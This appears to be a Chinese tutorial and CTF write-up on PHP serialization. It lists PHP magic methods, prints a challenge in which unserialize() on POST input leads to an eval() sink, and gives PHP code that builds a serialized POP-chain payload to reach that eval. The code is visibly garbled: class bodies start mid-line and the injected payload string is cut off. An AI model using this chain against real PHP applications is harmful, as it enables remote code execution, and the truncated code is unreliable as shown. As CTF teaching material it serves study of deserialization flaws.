序列化与反序列化
序列化是为了方便于数据的传输,将对象转换为字节流,载入网络 / 磁盘 IO 流中,可以通过对应方法将其还原出来。
序列化与编码的区别
对象 ===【序列化】==> 消息 ===【编码】==> 字节流
总结来说就是,先把对象拆开变成一串可以还原成原对象的字符串,再通过特定编码,变为网络传输的字节流
PHP 中的魔术方法
__sleep() //使用serialize时触发 __wakeup() //执行unserialize()时,先会调用这个函数 __construct() //对象创建时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发 __set_state()//调用var_export()导出类时,此静态方法会被调用。 __clone()//当对象复制完成时调用 __autoload()//尝试加载未定义的类 __debugInfo()//打印所需调试信息
题目参考
v1($this->v2); } public function __invoke() { $this->v1->world(); } } class fin { public $f1; public function __destruct() { echo $this->f1 . '114514'; } public function run() { ($this->f1)(); } public function __call($a, $b) { echo $this->f1->get_flag(); } } class what { public $a; public function __toString() { $this->a->run(); return 'hello'; } } class mix { public $m1; public function run() { ($this->m1)(); } public function get_flag() { eval('#' . $this->m1); } } if (isset($_POST['cmd'])) { unserialize($_POST['cmd']); } else { highlight_file(__FILE__); }
具体 POP 链如下
fin->(调用destruct)->what->(调用tostring)->fin->(调用run)->crow->(调用invoke)->fin->(调用call)->mix->(getflag)
具体利用方法
a = new fin(); } } class mix{ public $m1; public function __construct(){ $this->m1 = "?>m1); } } class fin{ public $f1; public function __construct(){ $this->f1 = array(new mix(), 'get_flag'); } } $a = new fin(); $a->f1 = new what(); echo urlencode(serialize($a));
实际 POST 后运行的为
如果本来类里面没有的,外面再次定义的话就是新增一个类函数
v1($this->v2); } public function __invoke() { $this->v1->world(); } } class fin { public $f1;//好像这个f1少了个赋值 public function __destruct() { echo $this->f1 . '114514'; } public function run() { ($this->f1)(); } public function __call($a, $b) { echo $this->f1->get_flag(); } public function __construct(){ $this->f1 = array(new mix(), 'get_flag'); } } class what { public $a; public function __construct(){ $this->a = new fin(); } public function __toString() { $this->a->run(); return 'hello'; } } class mix { public $m1; public function run() { ($this->m1)(); } public function get_flag() { eval('#' . $this->m1); } public function __construct(){ $this->m1 = "?>f1 = new what(); echo urlencode(serialize($a)); ?>
这样下来就可以完成 POP 链利用了